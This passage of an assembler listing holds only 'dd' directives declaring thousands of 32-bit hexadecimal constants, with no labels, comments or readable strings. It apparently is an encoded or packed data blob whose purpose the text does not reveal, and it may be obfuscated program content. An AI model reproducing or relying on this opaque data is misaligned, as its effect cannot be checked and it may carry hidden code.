0F0B17827h, 26E0545Ch, 408D0FBAh dd 0F5AB1744h, 9C043BA2h, 0D0348F84h, 0F8315EDBh, 9B40F990h dd 333AE768h, 0CC9CBB4Bh, 6C10EC19h, 680B3350h, 0FE713216h dd 0A112B98Eh, 1EF8363h, 2CF0C70h, 0E949E062h, 5AF6C57Ah dd 24EB2144h, 0C28E9C97h, 5336E92Eh, 18212093h, 830496C7h dd 8CE5228Dh, 0B0B554A7h, 4A7B687Ah, 0D8F8A256h, 91FA026h dd 0FA0165EEh, 1308E008h, 0E9B9C05Fh, 21BD45C6h, 720B8238h dd 472A00E3h, 1D7F2F4h, 590F5AD6h, 0AF07EEC1h, 0A33A3F6h dd 0C390B71Dh, 0C069BA51h, 68744A18h, 0F05B31ECh, 983E52CDh dd 60BFDAEEh, 91CA1FD2h, 0EF6D08EDh, 9AF58101h, 54E6A7FDh dd 599C08B3h, 70BC824h, 3009F2F9h, 0EAE51F94h, 3E50801Ch dd 555A4EAh, 0D06FA78Ah, 0BD2C408Ch, 0B32E880Bh, 1680F44Eh dd 3675044Dh, 0F432EADAh, 484FD8C2h, 2C07F66h, 8016B652h dd 2CD3EE0Eh, 76F4E4Eh, 534604F0h, 0B20A401Eh, 0CDEBE932h dd 31CD6189h, 1685FC2Ch, 1029AD4Dh, 0A34BEA75h, 618D5E5Eh dd 0F38DA851h, 5BFD8800h, 0AD293DEh, 91E9E156h, 53C0E33Ch dd 21D5B95h, 4BE02B21h, 17A0ED80h, 0E91613C4h, 30213584h dd 327EAD38h, 95F39ACh, 0F08ADCC3h, 42B8555Ch, 3E2FBB2Eh dd 530ECD06h, 0ECF51F0Ah, 8F8CAF7Ch, 6B3FC612h, 9C2D0C3Ah dd 0BDF01A0Ah, 0F10F5362h, 0DE94281h, 0D66F78B7h, 16262F04h dd 395344AEh, 7CDE3ACh, 165A2AF2h, 195164D3h, 10505B27h dd 47839E0h, 31B3151Dh, 0A5B01BFh, 0F7E947B9h, 0C155CB2Dh dd 8150346Dh, 2765802Dh, 77C21BF3h, 875D0702h, 0B87540ECh dd 44CF0804h, 4EB2C301h, 3B028FC9h, 0F7D194E7h, 95527027h dd 0E95AA5C8h, 0CEDF4F27h, 0A2515ACAh, 216A8B91h, 58F5809Bh dd 890B40C2h, 8ECC97D4h, 4A6615B0h, 957BAA0Bh, 591C0151h dd 9A14D388h, 1A5D219Ah, 25FF9DDh, 366678AAh, 3FCF8E7Dh dd 292A3EC4h, 0FB5D64AFh, 7221C30Bh, 0D7E92FD5h, 9FBB7D00h dd 324EBA36h, 1F0286D0h, 294C1270h, 0D01AA85Ch, 1A6C530Ch dd 0C0D127D0h, 8055C93Dh, 305A7289h, 6661792Ch, 0D3312A9Dh dd 5901592Dh, 0AA54C2DAh, 18E46D3h, 0E4324FCAh, 50111E2h dd 0F7853F8Eh, 0DD46F40h, 455DF069h, 0E953048Dh, 7AFE823h dd 0E7C1DFF7h, 0E6C580EBh, 0F36ACE4Eh, 8E3003D5h, 0F7761D57h dd 6C06BF3Eh, 1E4E727Fh, 0CE04057Fh, 0A1D388Ch, 9C88A9C1h dd 92E87C5h, 3DE2B33Ch, 68C16453h, 1E760FB4h, 0A32CF413h dd 0A556244Eh, 0CC004B3Dh, 2EC99435h, 40AB981Bh, 0CE7C68C0h dd 0E9D0C194h, 2627B499h, 0F6B83005h, 4B18256Ah, 0F5F6525Ah dd 2516E647h, 0E345F289h, 0D4E2023Bh, 0C0153B53h, 0B2DDE4Dh dd 0F2870754h, 0F6E91081h, 2561BBAFh, 3925E502h, 3BD9DDA7h dd 0DBA58B1Eh, 0EAE9411Dh, 0C5CD6E29h, 4E95A92Dh, 685B5803h dd 351247CCh, 9E23FBD9h, 9304C140h, 4FDD0EACh, 8C9695EAh dd 31352778h, 12DA840h, 12DF5B15h, 3AC2295Fh, 0F4992B64h dd 7968E434h, 0ACDCB1FBh, 84B317C8h, 392DEE19h, 0C10105E8h dd 0E95D9209h, 0CE8FAF0Fh, 0D2681753h, 14BB373h, 17CC3097h dd 3930DDF7h, 6DA105B0h, 82EB2977h, 7B2BB859h, 3BC424B7h dd 1580D63h, 0E9A3B4EDh, 33AA6E26h, 917AD351h, 792686Bh dd 0CA12D1ABh, 65091B26h, 42B69B1h, 0FEC00FAh, 0E1C15286h dd 206C084Ch, 1B17441h, 3059CE88h, 0DD5A66F3h, 30F625DCh dd 0B341DE65h, 7DA52AD5h, 970739A3h, 735D102Ch, 920AF42h dd 0F4082F1h, 7B68C8BFh, 6E50964Dh, 2275551Ah, 955CF0Bh dd 159AFD14h, 7C3E6650h, 0F7B4224Ah, 0D2EFE549h, 5BA3D811h dd 0EDF0B45Dh, 0A1E20F5Bh, 0C72B2889h, 58F6F4E6h, 680479B2h dd 6D9D7810h, 2DAD80AEh, 0E33E3830h, 596CAF91h, 0C2AEB9F6h dd 0D3C3138Dh, 2FC193B1h, 0C2006DD5h, 52BB0F66h, 91862041h dd 0CCEB801h, 44316BC8h, 608F757Eh, 0B568573Ch, 0B91E98BDh dd 0C1561730h, 9E6E0267h, 0A08206B6h, 0C868A307h, 3512E7CEh dd 3D017561h, 3D70051Ah, 604C0834h, 0F1E527D8h, 4358EF7Bh dd 14320192h, 0D1F75D69h, 379F012Bh, 8147A853h, 2F8AF10Eh dd 0C820FF8h, 0DD3FA6CCh, 3588A8C2h, 457A4FDh, 0C0180763h dd 29BFE634h, 6A55AB26h, 5F709101h, 8D7E4627h, 9A753FD8h dd 124E4D09h, 92887661h, 0E1460558h, 0E4E24619h, 80974090h dd 0C3E8C122h, 20A05F33h, 9463F86Ch, 0E6FA177Fh, 2D22451Ah dd 89B77E70h, 32FB3AB4h, 0B15B0C0Ah, 0D1595463h, 25336597h dd 0E912DB53h, 0D3064BF3h, 2A8972DEh, 0C5755EA6h, 24F2A8B5h dd 6242BB41h, 0D3290322h, 2DFEE5BAh, 1CF3EB85h, 19B0E486h dd 668E0C4Ah, 99096B9Eh, 9563835Ah, 0C73102C2h, 19F12E9Bh dd 589568FCh, 0DE6809EAh, 81BFD95Bh, 49832918h, 45E0F6F7h dd 6DFA46F1h, 0A9E94B17h, 975863F0h, 9B3FA045h, 0D871C58Bh dd 69BBBF77h, 0CDE9E8E8h, 0F7306BF8h, 3E05D1BAh, 0D08B43D3h dd 7FF65F5Ah, 8B12F82Bh, 0F45E144Bh, 302C2CD8h, 561C1B94h dd 0E33FFB90h, 31C713A8h, 0F60597B9h, 833CEA7Dh, 9059DB5Eh dd 8CCB8FE7h, 30F79329h, 0EDAE42D2h, 1E76FD54h, 0AB8FF200h dd 0E95782A1h, 393C6685h, 0C35B6EC1h, 0E0F0E195h, 0FAE84112h dd 85C16AFAh, 4CF18FD2h, 83061684h, 8EC0ABC3h, 4CC233D7h dd 45E5D2Ch, 98E3287Dh, 882451E4h, 6E1266C1h, 0C49EA287h dd 0A6D4A021h, 21E8D212h, 836EAF5h, 0CF5C580Dh, 7B1268B0h dd 99E4695h, 32C717F2h, 402D85F2h, 0BAE14BDAh, 4B695010h dd 0F73B1457h, 315F0B61h, 0B4CFC9F9h, 2DEA1408h, 0F9D67F24h dd 94681208h, 1916247h dd 0F8215F21h, 0E99ACC2Eh, 6F9375EDh, 0AEFD302Dh, 9D0F5D6Fh dd 95DB6517h, 0EDD173Dh, 974F27A7h, 0AB2A94C9h, 2AA47634h dd 566812D4h, 849E1373h, 602CCB3Fh, 6AE958A5h, 4594AAEAh dd 0BA5C924Ch, 54BF5424h, 0AF5823DBh, 296FAF45h, 10133F6Dh dd 151042CEh, 7E2F759Bh, 6C17A8Eh, 42344BE7h, 0B3014E30h dd 0E9123B52h, 8C2F461Bh, 6A00BDB6h, 0BE238601h, 0C597D60h dd 5DEE312Fh, 1E24241Ch, 2E3C788Dh, 69BB4199h, 40D792E9h dd 2757409Bh, 4D5A2BCAh, 7DC20882h, 2475B841h, 32A686Ah dd 3034C363h, 80AA8B1Fh, 7F1572E8h, 2B2FCF90h, 2D7D204Ah dd 0F6416C12h, 8FD7548Ah, 2F550FE6h, 966D639Bh, 0B6922B2Dh dd 0FA27510h, 0B05D5AD3h, 1F40EB39h, 0FB5EE462h, 8443158h dd 5BE9F6F3h, 5130003h, 76A15CB5h, 7DB88BDh, 3C71942Ch dd 0B05ABE34h, 25069933h, 0B420B45Ah, 5159588Dh, 0ECE965E2h dd 24096352h, 0F7024C5Ah, 0DD4EA505h, 2308AB28h, 0B5DA941h dd 13484446h, 723D7C9Eh, 0AFD89317h, 5B89DD98h, 509C8AE0h dd 0EA83919Bh, 19F2D8FBh, 0D8D758B7h, 0CEC63EBDh, 0C2349D3Ch dd 0F1EAE8B5h, 0EF9E025Ah, 59C821FAh, 310EABC0h, 7AF927EDh dd 0D2EA754Ch, 1C641352h, 0CFD8682h, 800348Eh, 0CE055C7Dh dd 92A382F7h, 2FA8BF9Bh, 32A53BE2h, 917C2E0Bh, 80FB2858h dd 0EAFADAF7h, 0A460A538h, 0E2A4169Ah, 7DA42C07h, 229B2D30h dd 846EE354h, 5B070BFEh, 0F2E7370Fh, 0E90C201Ah, 93B70DC8h dd 5CC5253Ch, 1269AD54h, 3339DA0Bh, 54D5BEC6h, 493EA5BFh dd 6F905BFBh, 66814AADh, 82D3E02Ah, 57C3F7Bh, 9990E5ACh dd 16EB14E9h, 0D381B940h, 0C801C956h, 6702D46h, 25027372h dd 52148A3h, 0E9868854h, 0C930F26Ch, 0F78B496h, 0F64EBF26h dd 0FB090105h, 0BF5E35EEh, 5D7FF900h, 9CDE8935h, 0F50150EAh dd 0F2E9FDC4h, 17AC76E0h, 0AD385E68h, 0A7E982A9h, 17330448h dd 12C453F9h, 44D5F28Ch, 9B4065A3h, 270C68FEh, 0C22732FAh dd 3E2BBC0h, 710CE1B0h, 0C4C8A45h, 257AF4A9h, 0B54A0146h dd 920B1985h, 20DFDAFAh, 153A8509h, 4A79FE44h, 0B5DAEC19h dd 5208764Ah, 186DC01Eh, 97A975D4h, 805F75A4h, 0E75861CAh dd 0CEE1074Eh, 7C503F20h, 0B1FD4E36h, 87788E5Dh, 0E97FA267h dd 0EC71CA0Eh, 3A7FB1FFh, 14FE6F69h, 9A796E2h, 0C585B9DCh dd 2B84CB88h, 552E4AC2h, 513FDCC6h, 0C1800FB1h, 0CF74E4AEh dd 8E682F92h, 40492B9h, 0B517D2C4h, 0A8B1F4A8h, 0F3D313DFh dd 0D521B646h, 5BC283D2h, 68FE0447h, 4C73E379h, 1E2B1905h dd 94605912h, 0BD00E3DBh, 35000379h, 2AF58152h, 17699B38h dd 5559E94Dh, 8740A9F4h, 0A809F687h, 0EEC52180h, 2C029E7Ah dd 2CEEE67Ch, 5F0040A2h, 881813BBh, 7140165Ah, 6FF36515h dd 0B35C5F01h, 5B0C40EDh, 223D682Dh, 0CC270BDCh, 0D36624CAh dd 8AC0423Fh, 4811B807h, 53F1E26h, 0A9AAD8B6h, 7C1226A6h dd 6048782Fh, 0B1BB4A42h, 3EB0F40Fh, 0A4CEF527h, 15455F5Dh dd 36C1E4DAh, 1C0FB888h, 0C71D400Dh, 0DF572F9Dh, 0B601CC00h dd 8849E947h, 685601B6h, 381B2D4Ah, 6A7ED26Eh, 0C3963776h dd 5B036FF8h, 5302EBC1h, 6CD90AF9h, 51548BE3h, 0DAE9C1B8h dd 5C0A9310h, 0E65B68A6h, 0BE0FC273h, 7DC55DC8h, 199773EAh dd 1429C781h, 8BEC7F2h, 5C128F8Ah, 9A8E3F06h, 47CA07DFh dd 6076F36Bh, 94E4C9F2h, 5963ED5Ch, 7B3500DEh, 40423B19h dd 2BF40E05h, 88A248C2h, 0B785BB6Ah, 3EE9F5B5h, 3C01D1C0h dd 777E7D87h, 88BF9407h, 290FCBEAh, 48D0ABEEh, 3ABA05E9h dd 31835B68h, 0C0B70FC3h, 6A4C6EC1h, 7D7FD933h, 1DFC0911h dd 0C6547767h, 0BE090E28h, 80D3F72Dh, 99258314h, 53295C23h dd 81431Dh, 0D9CFE7C7h, 5B5ADF31h, 0DA5808CAh, 0A619AD2Ch dd 0C829C4CFh, 896B6759h, 54F05E1Eh, 2C0316B5h, 0E238E921h dd 18F7F5F2h, 99A47AB5h, 0DDD1A589h, 0D90C04A4h, 564DFD39h dd 0B6128B25h, 0D83DA911h, 809021CEh, 0EB788059h, 73A341B5h dd 5B252D38h, 67A880F9h, 0A8B90DECh, 7EF3F701h, 98F17C8Fh dd 0F4565794h, 6149010h, 0A34E0605h, 0CB3E6022h, 0C02DEC80h dd 867608E6h, 8D5F636h, 94B2DC0h, 9DE51C27h, 2A3CF172h dd 1B25949Ah, 0A8481405h, 772D0281h, 5D38B60Bh, 45E153C0h dd 73E78080h, 0A6EF38CEh, 58ADFA2Ch, 0B95D030h, 12404C7Fh dd 91C24CE9h, 2B6C9A28h, 3AC63A30h, 1D4D900Ah, 650C5FF2h dd 44F2FE50h, 799A031Eh, 72DD00Ah, 0EA1C9C20h, 755F27E3h dd 5139C29Eh, 319E0208h, 0F687B1AFh, 429BC002h, 1AD3F101h dd 5058F6C0h, 0A58A50B4h, 63F29C1Dh, 0F2D929B2h, 97043F5Eh dd 489716E9h, 84918499h, 202E38B1h, 61B068DCh, 0E5627D96h dd 0DD8909C9h, 37F2F890h, 2D96D317h, 7F01EB56h, 56665219h dd 0F24BEA3Ch, 0CB25CF41h, 33F8034Bh, 0E71D5006h, 45A0346h dd 58C33037h, 325BD881h, 3B0D944h, 616F2D35h, 0AD87B5E5h dd 3F7078A2h, 0F79F884Eh, 31FA4BDFh, 9C8126D1h, 681DED80h dd 316F44E5h, 30E88861h, 3A620736h, 6359CA19h, 0D122DA78h dd 8904A9E5h, 927B0BE8h, 58685582h, 1C9E5710h, 0C70B5397h dd 0CC88B6E9h, 6C032504h, 64813227h, 0B2404005h, 0F483DB0h dd 49D1F773h, 0F181B0B8h, 0B716EA01h, 59C801ABh, 9258C7CCh dd 0D2809D3Ch, 0E9720A56h, 0E817A85Bh, 5D094B8Ah, 1657D729h dd 0F9310935h, 0FE68555Fh, 8082F4A7h, 0B94E8703h, 941FF679h dd 70680193h, 30573A0Fh, 9F0CE398h, 0C7A756Fh, 58147850h dd 47E8C71h, 89EF983Ch, 0F57CF5DFh, 10443244h, 5A27C303h dd 0C89B8C63h, 0E4EC162Fh, 5AD2F0F9h, 33DA3ABh, 781D8DEFh dd 45E7B056h, 1B272468h, 462E8906h, 0E9C3616Ah, 0B529B698h dd 6272AB0h, 88FDD944h, 0D0259ECCh, 79D895C0h, 0E6F03227h dd 0D13C40F1h, 17BFC41h, 7D71C717h, 80CB47CCh, 7B1D7C20h dd 0B4565D4Ch, 2BA73505h, 383B2DEAh, 505CA09Bh, 9D7D7468h dd 0D0BF146h, 5C612778h, 5F9203FAh, 3E0B70D1h, 86D3DBF9h dd 984B11DDh, 0CEE3046Ah, 0C12E9A14h, 6293EBB0h, 40832FB3h dd 5A685858h, 0BC513586h, 5832898Dh, 745648D7h, 0DBF0C425h dd 25235D5Ch, 277F71DCh, 6F4F4C69h, 712CBC67h, 0B0D09BDh dd 68DE5759h, 47C38069h, 0F3601F16h, 0FDD348h, 526C6105h dd 0D8EF49BAh, 3B31A426h, 5BDD0101h, 3240CE9h, 3BD1002Dh dd 0BD552362h, 0A527017Ch, 976DD81Fh, 0A180F050h, 35E85B1Bh dd 0C0942790h, 72D65C25h, 0A97FE109h, 274250BDh, 0C679B236h dd 6CC089AAh, 25704C97h, 0AED0681h, 0C287401h, 0FC4B891Ch dd 62FBE94Bh, 4725C955h, 7D6005C7h, 2151AD13h, 29F06998h dd 29531F1Dh, 5912019Dh, 52E1A602h, 0F977E339h, 5FD96AE9h dd 0B563803Fh, 4F4BDEDCh, 58022BACh, 8DB6851h, 0F0648BD6h dd 74F4A0C2h, 46B6011Dh, 6051C780h, 662CE71Dh, 7DE21C53h dd 28B28388h, 0C15BFADCh, 40C2872Eh, 0BD1A59BBh, 82909094h dd 0E970E094h, 788460E4h, 0C05BDE30h, 0F607EE03h, 0F9CEFED6h dd 0F797A72Fh, 0B29497EFh, 8B59E0CDh, 54E3A4B9h, 2BB13B0Bh dd 125C7661h, 902F2308h, 0F73B8CA6h, 209D96D9h, 0B49661F8h dd 17A05393h, 0D1800C06h, 0B077F4E2h, 478F3F03h, 0B22B1150h dd 0EBC1177Dh, 0C53E0405h, 0D8310726h, 0B908C326h, 4B0CB4C4h dd 36A02320h, 0C89409BBh dd 4029852Fh, 9FDADD0Ah, 33987F64h, 99907EE9h, 2C685FFDh dd 8D0915A0h, 31C931F9h, 0AACB2E14h, 0CFF8984Ah, 342CD5Fh dd 60322B05h, 0BD1FF4FDh, 0C10217EEh, 0EE8106E6h, 832C6080h dd 92BB7BE9h, 0FAD77B11h, 537CE268h, 520EF21Bh, 0B665F6B2h dd 953B883h, 5E9ADEE9h, 72956068h, 6490502Dh, 0EB4B8A18h dd 8240BD84h, 54A5DA85h, 0A9274BE3h, 2256800Bh, 4A506858h dd 0E75D3141h, 0EEE18F9Eh, 3A4E4430h, 62065AC1h, 3DF7E900h dd 4F1624B1h, 29EA0DC5h, 0B737F8B0h, 0E539EDCEh, 75FC253Eh dd 7716E8D7h, 0C2EC834Ah, 17DDF8F5h, 198BC831h, 0C9464F79h dd 0F1446A7Ah, 0BB12CF5Dh, 382EBD26h, 0E325A3B4h, 3BB778C5h dd 3ECBC9D9h, 5453938Ah, 0A0551EA5h, 5102ABB5h, 5B68413Ch dd 22A24D5Ch, 25462537h, 68A9C22Dh, 0EA8B2D7Bh, 0FCB15648h dd 0C381929Fh, 13F8FC20h, 288CEC4h, 0A9070168h, 2442767Fh dd 0AE00E994h, 408C35CEh, 8F68100h, 6814B13Dh, 6A1C58DAh dd 835E3DD9h, 0ED337624h, 4B0C0612h, 0AEB92FC4h, 0FB6F900Bh dd 82C7523Eh, 6B30F708h, 669DF0A9h, 0C49982BAh, 0D49C2F36h dd 8AD3927Ah, 5AFEFF32h, 828920DEh, 72434B25h, 20F301A7h dd 0E9EAC5F0h, 0EF21A688h, 0C8C138D0h, 22A76548h, 315BF9D8h dd 7D6C3057h, 4BF80188h, 5F43E405h, 1C470915h, 0E9C261EBh dd 4E7E9C5Bh, 0A413ADA8h, 0B4C95905h, 0DD9C75B6h, 53175EFEh dd 36A41768h, 0B376633h, 928A314h, 0BA40EBFEh, 3C803BBBh dd 0B22D363Dh, 0B97F3A62h, 0F5F85C7Fh, 0B81AC381h, 63F83EE1h dd 1912C925h, 0BBC129EDh, 97A6D6FEh, 0D16B8808h, 0B4FCF025h dd 417A1CFFh, 0DF2D11C8h, 0D61AE575h, 5183CA5Dh, 15936027h dd 69B517C1h, 0C56CC85Dh, 552EE848h, 812D126Fh, 31EB31C4h dd 330F32E7h, 0D3C104D1h, 8BE19A04h, 0BC8607ECh, 61B5AC97h dd 0B0490BB0h, 202CDB25h, 11F63BD0h, 0E9490B9Fh, 338575Dh dd 53B94009h, 5714C6Ch, 1E2848C9h, 0EB8009EDh, 0F4D858D9h dd 0C0FB3A37h, 0F9814D52h, 0BC84A04h, 8F792680h, 0C554518Bh dd 47B096C2h, 76F5861Ah, 0AD93D192h, 0F641B180h, 68C180D9h dd 3C020A02h, 3090F189h, 0C86AEE8Eh, 54550A37h, 931008B5h dd 0FB3BC32Ch, 5627D8B4h, 7A725AF8h, 5EFCFEA0h, 8167AD00h dd 52A108C6h, 70E91298h, 29C443BBh, 60105AD7h, 0BA0F99CCh dd 174B55E4h, 85C2A684h, 3A0D829Fh, 33BD01D0h, 3ED4E100h dd 129EA905h, 0C4CF06D0h, 33EC5F27h, 1659CF25h, 0A0E927BAh dd 5BDA61E8h, 24FA313Dh, 4CB886A5h, 17AE1504h, 7E5A25B0h dd 6B9E2EEEh, 902C54DAh, 8CC2641Eh, 80530587h, 20982FBAh dd 55EB8103h, 0D7164E50h, 2BE0765h, 333914F2h, 0F70F0077h dd 266843D3h, 6C9B1558h, 1D077B46h, 62BE77B2h, 8B99D982h dd 9D4DAB6h, 1FE9DE29h, 0C659E425h, 800304C0h, 0B35348E6h dd 252486FDh, 432FB5CAh, 4CEF54C3h, 6FD49A01h, 0D301609Ch dd 0D0081CA0h, 5A2E141Ch, 0FDAA3894h, 3F6812EBh, 104B5C5Dh dd 9BF0113h, 2137794Ah, 16DEA43Ah, 7DC27E3Ch, 7BDDD097h dd 25CAEAD7h, 92581520h, 0A24BD30Ch, 0B520C6Bh, 89BD4C8Bh dd 88F598EAh, 0A8AC894Ch, 45A08713h, 18E59D5Ah, 0CBBA6801h dd 36208594h, 4ED183F8h, 1ACF2E04h, 0E617AF57h, 4D1C4EEDh dd 4263E4h, 517DABAh, 0F2810155h, 0DC90F2Ch, 5A686452h dd 89E2C13Fh, 52F560E9h, 31519519h, 51E7560Bh, 435A8FEEh dd 0A95D3149h, 6FD017h, 516EAD35h, 0D210053Bh, 0BAF0F84Fh dd 0DB3D0412h, 10C20102h, 0D9582D08h, 2067A8ABh, 9090F4C1h dd 0FDCF2331h, 4E263984h, 5D30BC12h, 0A80493EAh, 33B193A7h dd 4D1247Eh, 0EB19AEBBh, 653B5E6Dh, 1949009Fh, 0E94A3756h dd 0ED16035Bh, 987EF6C9h, 0CD417DF1h, 4E838E2Bh, 4056BC32h dd 1EF95h, 0C5817D29h, 0B2EC1AE5h, 9BEE8924h, 283D60Bh dd 5CA3E911h, 65874FE1h, 890AC2DBh, 9DA1ED40h, 3C27B180h dd 4FF8D1F6h, 1AA48C8Ch, 1D66E640h, 35FC22Dh, 51738205h dd 15A6B9C8h, 0EF2B61FBh, 0FF6914EEh, 85DB85AEh, 0F2A5FCE8h dd 59B42DB6h, 88700FF3h, 0C7C7584Eh, 0B6ABEF5Eh, 2DEA030h dd 90E91EB4h, 2AF2D49h, 118D97Eh, 78A05D0h, 0C75114CDh dd 34243E62h, 95241C77h, 0E90BFAE5h, 0B839A037h, 5A462FF9h dd 484B0F5Dh, 0B58E0DC4h, 5B812EC8h, 5901A97Ch, 98D6EE53h dd 5CBEC269h, 445F5AD7h, 6E681236h, 10C3A230h, 854A7DC6h dd 0E02F41F4h, 3A444C1Fh, 0A1650622h, 4FDFF7DCh, 3E0FAE38h dd 0D2CB3FD0h, 70F9AD91h, 449DC6DBh, 739C909Bh, 45DD0D4Dh dd 300B51BDh, 7D0FB938h, 0C2290B88h, 82BF5750h, 43F88909h dd 1BA2EC23h, 0C763025h, 39B45070h, 0C00EFECCh, 83BF06ECh dd 0D7F6FC86h, 2E80083Ch, 0E90411C7h, 25BEE20Bh, 0A4B31109h dd 0CBC8311Fh, 0FBA3FA4Ah, 0CF999EEFh, 0AE0C9253h, 1F81CFEh dd 44E951D8h, 0C83422E0h, 0F2E21614h, 2E8058F5h, 0F0036D05h dd 0F17E913Ch, 417A1D72h, 0F518A227h, 72C17B55h, 50018516h dd 0A0312C5Ah, 5006EAC1h, 0C89A74Ah, 8165E23Ah, 1C760338h dd 394A91E8h, 2F235E8h, 5F068532h, 7C4382h, 0AC42D8BBh dd 0B0EB2CC0h, 0C11E710Ch, 7A5D630Ch, 0E2F3F03Bh, 62A62710h dd 885A5704h, 0EF43AE49h, 901774C3h, 0BDDE891Fh, 1C75DE0h dd 29285317h, 0E9846BA8h, 469BF0B5h, 330E817Ch, 0C0182614h dd 0C72D8DE6h, 0FD729D5Ch, 92A5F809h, 33500CCh, 7F723C71h dd 814FB001h, 0B13B5E08h, 0BFC86A13h, 0F7EA1A87h, 0B20008D5h dd 3050605Bh, 0C220AA98h, 3A667FBEh, 0BB0F53F1h, 0ABAB6F32h dd 9C9DA5D0h, 1773973Bh, 2F112F08h, 5048F078h, 0B6C92078h dd 0CC4A14DEh, 0B04D0F07h, 906FF478h, 8036B23Ah, 0E00C22D3h dd 77B047CAh, 0C11549ABh, 3982522Eh, 5732D63Dh, 0A7C15195h dd 0C1CD2823h, 536006C4h, 0F9D04F31h, 0E9AC099Fh, 602B7BEAh dd 0CA88D500h, 201F0459h, 0D8D7D028h, 0FB8EA56h, 66BF0EA1h dd 0C3E44E12h, 0A28F5AA2h, 7B297854h, 0B53C14F2h, 67BEC7F9h dd 0A86BC4D7h, 6856019Ah, 3E09066Ah, 8345FF41h, 0CE89198Eh dd 5961F24Fh, 2F5AD101h, 0E9C5FBE2h, 0C0835370h, 9A1A84E7h dd 2B49027Ch, 0F8680B5Eh, 2AD1A3Dh, 91878FF4h, 0D14306C8h dd 9EB5B59Ch, 0C62CA7DDh, 0B265E84Ah, 0D68C98C7h, 0B179970Dh dd 0B84E1B3Ch, 50B83B47h, 611A4582h, 1A574027h, 261177CFh dd 9F0A3B3Bh, 0BABACD15h, 7F8CCE10h, 13F39D55h, 0B9A0E941h dd 2CC88978h, 129A4508h, 0AAD8525Eh, 0CDCCB812h, 52C31601h dd 8D4FE8BAh, 782BBDBBh, 555BE95Dh, 77801184h, 955966E8h dd 0F5962104h, 165379D0h, 18B63C3Eh, 724A5D73h, 0BABDFA85h dd 0B32F892Dh, 9862463h, 1B926884h, 4E5F8BBFh, 55BA8F82h dd 865D348h, 31629C1Bh, 0F3F84E57h, 0C39193B0h, 0D834F6AFh dd 0A8070BF7h, 0BE5CD457h, 0F5F05516h, 0CA5D5CEAh, 699D2D20h dd 9924CBF4h, 123AE85Ch, 0A3221668h, 5DB00269h, 7E51C834h dd 259948C6h, 31436F54h, 0CF0628F9h, 67577F06h, 0E9501F87h dd 58FA5E43h, 2D4C0CAAh, 258CC9CEh, 3E2CFB97h, 90E6B2D5h dd 6BD9E940h, 0B3DBFA79h, 0EE7139E9h, 0DA7E5935h, 51A06185h dd 78D4D1B9h, 0BC9FE6Ch, 1B297687h, 7ED57800h, 2EA7F79h dd 7C5C0540h, 0DE05E5Bh, 42ED5E44h, 0B806D0F0h, 5F8825Dh dd 84FB9A9h, 0D01149C1h dd 0F8FB25B5h, 23F606EEh, 0B14F029Dh, 0C87F60AEh, 2DA07C2Ch dd 4225B01Dh, 42CDE1F5h, 0B2D179E4h, 0F7D84E3Fh, 0F920BD6Fh dd 1DA66852h, 5FF2E980h, 0D06627ABh, 36C3084h, 4732839Fh dd 0D25CA736h, 7B2981F0h, 1BA55DC5h, 19578001h, 20BA706Ah dd 54FA59C8h, 95AFB496h, 8F688955h, 1377B075h, 34FB056Ch dd 0BA869BE9h, 11123052h, 0BD4356AEh, 2C4B5836h, 548B3895h dd 5973FE5Ah, 5AB938C8h, 96937FB7h, 0D09FE043h, 0E74300C2h dd 0CD055819h, 0E67F18BCh, 2DAEC65Ch, 4C6C989Eh, 4B68BCE8h dd 8B587974h, 6AFC0205h, 0E6C1DEF7h, 6EF634E0h, 9F33316h dd 53D806B8h, 5C81A5C8h, 0E03AD471h, 2843766Ch, 385EA952h dd 0B60152ADh, 0E9DEF677h, 917A1873h, 40F4EF8h, 780062BEh dd 4DEC790Bh, 0D88A6BE1h, 0AC4ACB58h, 3E3479B0h, 0BD80D67Dh dd 4BC1FB53h, 4AE4A882h, 0D91260A6h, 68D1205Bh, 0B49F7258h dd 0CF432093h, 0C5C35758h, 6CEF0721h, 0B649E9B9h, 4B4049F5h dd 9CAEA01Dh, 76FA240Fh, 2EE95CF0h, 0E911AB47h, 3DBF1056h dd 24DF0Ah, 695D14AEh, 0AA2DAB58h, 0FB984FECh, 0C95F719Fh dd 0E79F77F8h, 35871183h, 41BA8735h, 0FAC76B24h, 0EBADF49Dh dd 61BB1AC0h, 904B940Eh, 5C9F0E7Ch, 0DF32C2Eh, 43EBF4E6h dd 0DD82700Ch, 0A40B83F5h, 0F1B139Ah, 27E2B8B6h, 88A071E1h dd 57138F1Ah, 1CC015C4h, 951BC3BDh, 7C4BAED8h, 0E5C053C0h dd 0C5801C03h, 0AAF5C172h, 0F159E820h, 0B104F0E0h, 734BEBFCh dd 0EA7249FCh, 42335AE9h, 2068E27Eh, 0A9E1A8EBh, 0D718A1F7h dd 401DF8ADh, 89A83133h, 4E95817Eh, 3CFF237h, 339F14DAh dd 0DF7B89E9h, 1CDCF207h, 0C2601EFBh, 5A6228D2h, 0E022C772h dd 3F590FCEh, 8F370CC0h, 5BE93661h, 5E1E0985h, 0D26375Bh dd 0D8374125h, 0D265A843h, 219A49E1h, 3BEB9DBh, 5E6F1935h dd 0E66CCC82h, 88125836h, 121D870Ch, 0AD3B7650h, 40D4282Ch dd 0B57CCBE2h, 0EF531628h, 51A20BB7h, 0E4DF4EF7h, 0CCFF6223h dd 0B762A2FEh, 897E0BF1h, 1B685101h, 21384A0Ch, 0F17E91Ah dd 1DFB0075h, 6801405Ch, 0B08DECBh, 0A5805559h, 3C3770C5h dd 0BC1BD31h, 998984E9h, 30F72D68h, 0FFF0D3CDh, 27D529D4h dd 91F9215Ah, 940B5368h, 2570F9F5h, 0F602AD5Eh, 866F4F3Eh dd 2A31EA91h, 2076BF57h, 283BA1A7h, 244DF0D4h, 5BDE0B86h dd 0C9FED1h, 0BFBDC85Ch, 0E6A1F531h, 0C823683Ah, 1F1AA783h dd 91C335Fh, 13B2680Ch, 5E4B5579h, 0CA68C21Eh, 7569D376h dd 5E897296h, 8F823AF4h, 81477F57h, 1B105D24h, 8F645C27h dd 0D801A3C2h, 12DF05Bh, 552FBA37h, 35BCF1E9h, 124772FEh dd 17B376BBh, 0B9374E7Dh, 7E548989h, 64635AE4h, 7FE44DE0h dd 48645694h, 91E664EBh, 3A2C3D8Dh, 927339CCh, 0A168173Ah dd 0DE6EAC65h, 7D472079h, 45ED5AE9h, 0F9B00BEFh, 0F7D08493h dd 2E78AC17h, 1BA49AC9h, 4C687F40h, 2D6EA44Dh, 1BD9AF59h dd 0A599243Ch, 3CE25E93h, 126ACA4Fh, 1C43A2E9h, 9B2C16BBh dd 7E8FD103h, 56533CA7h, 0D12A92BEh, 